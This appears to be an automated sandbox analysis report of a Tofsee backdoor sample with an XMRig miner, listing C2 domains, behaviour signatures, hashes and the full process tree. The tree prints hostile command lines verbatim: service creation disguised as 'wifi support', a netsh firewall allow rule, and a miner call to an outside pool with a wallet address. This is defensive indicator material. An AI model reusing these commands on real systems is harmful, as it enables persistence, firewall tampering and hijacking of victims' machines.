Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/11/2022, 01:39

General

  • Target
    file.exe
  • Size 240KB
  • Sample221117-b2ymmahd9v
  • SHA256 4300d6438aa86a80ad904bf5a5d013b5d201e076ceda8edb0441dec73b10bba2
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2124
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\snwpitfi\
      2⤵
        PID:3696
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xngebkrq.exe" C:\Windows\SysWOW64\snwpitfi\
        2⤵
          PID:2440
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create snwpitfi binPath= "C:\Windows\SysWOW64\snwpitfi\xngebkrq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:220
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description snwpitfi "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3888
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start snwpitfi
          2⤵
          • Launches sc.exe
          PID:4024
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3220
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2124 -s 1036
          2⤵
          • Program crash
          PID:1696
      • C:\Windows\SysWOW64\snwpitfi\xngebkrq.exe
        C:\Windows\SysWOW64\snwpitfi\xngebkrq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4144
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5000
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2420
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 2124 -ip 2124
        1⤵
          PID:1268

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              xngebkrq.exe

              • Path C:\Users\Admin\AppData\Local\Temp\xngebkrq.exe
              • Size 12.2MB
              • SHA256 e9ab4ebf9e80497ec5db1242257d5927644324fafc115ab0a75c777016257611
              • MD5 SHA1 SHA512 SSDEEP

              xngebkrq.exe

              • Path C:\Windows\SysWOW64\snwpitfi\xngebkrq.exe
              • Size 12.2MB
              • SHA256 e9ab4ebf9e80497ec5db1242257d5927644324fafc115ab0a75c777016257611
              • MD5 SHA1 SHA512 SSDEEP

              memory/2124-143-0x0000000000970000-0x0000000000983000-memory.dmp

              memory/2124-133-0x0000000000970000-0x0000000000983000-memory.dmp

              memory/2124-135-0x0000000000400000-0x000000000083F000-memory.dmp

              memory/2124-132-0x00000000009D7000-0x00000000009EC000-memory.dmp

              memory/2124-144-0x0000000000400000-0x000000000083F000-memory.dmp

              memory/2420-172-0x0000000000400000-0x00000000004F1000-memory.dmp

              memory/2420-177-0x0000000000400000-0x00000000004F1000-memory.dmp

              memory/4144-149-0x00000000009A2000-0x00000000009B8000-memory.dmp

              memory/4144-150-0x0000000000400000-0x000000000083F000-memory.dmp

              memory/5000-146-0x0000000000AA0000-0x0000000000AB5000-memory.dmp

              memory/5000-153-0x0000000002600000-0x000000000280F000-memory.dmp

              memory/5000-156-0x0000000001DD0000-0x0000000001DD6000-memory.dmp

              memory/5000-159-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

              memory/5000-162-0x0000000001DF0000-0x0000000001DF5000-memory.dmp

              memory/5000-165-0x0000000007640000-0x0000000007A4B000-memory.dmp

              memory/5000-168-0x0000000002BD0000-0x0000000002BD7000-memory.dmp

              memory/5000-152-0x0000000000AA0000-0x0000000000AB5000-memory.dmp

              memory/5000-151-0x0000000000AA0000-0x0000000000AB5000-memory.dmp